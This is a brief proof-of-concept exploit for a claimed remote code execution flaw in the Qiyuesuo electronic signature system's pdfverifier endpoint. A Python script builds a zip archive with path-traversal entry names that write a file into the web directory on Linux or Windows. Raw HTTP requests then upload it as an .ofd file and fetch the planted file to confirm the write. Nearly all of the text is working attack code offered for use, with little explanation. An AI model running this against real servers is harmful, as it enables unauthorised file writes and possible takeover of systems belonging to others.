契约锁-电子签章系统 pdfverifier 远程代码执行漏洞

import zipfile
from base64 import b64encode
import tempfile

with tempfile.NamedTemporaryFile(suffix='.zip') as tmp_zip:
    with zipfile.ZipFile(tmp_zip, 'w') as new_zip:
        file_name = '8b65bc0880023dc52a55'
        #Linux
        new_zip.writestr(
            f"{'../' * 500}proc/self/cwd/resources/css/{file_name}.css",
            b"https://www.qiyuesuo.com/more/security/servicepack"
        )
        #Windows
        new_zip.writestr(
            f"{'../' * 500}qiyuesuo/security/resources/css/{file_name}.css",
            b"https://www.qiyuesuo.com/more/security/servicepack"
        )

    tmp_zip.seek(0)
    print(b64encode(tmp_zip.read()).decode())


POST /pdfverifier HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=f11cab403f27e81fb32bf82855f49809

--f11cab403f27e81fb32bf82855f49809
Content-Disposition: form-data; name="file"; filename="f11cab403f27e81fb32bf82855f49809.ofd"

{{base64dec(压缩包内容)}}
--f11cab403f27e81fb32bf82855f49809--

GET /qyswebapp/assets/css/8b65bc0880023dc52a55.css HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.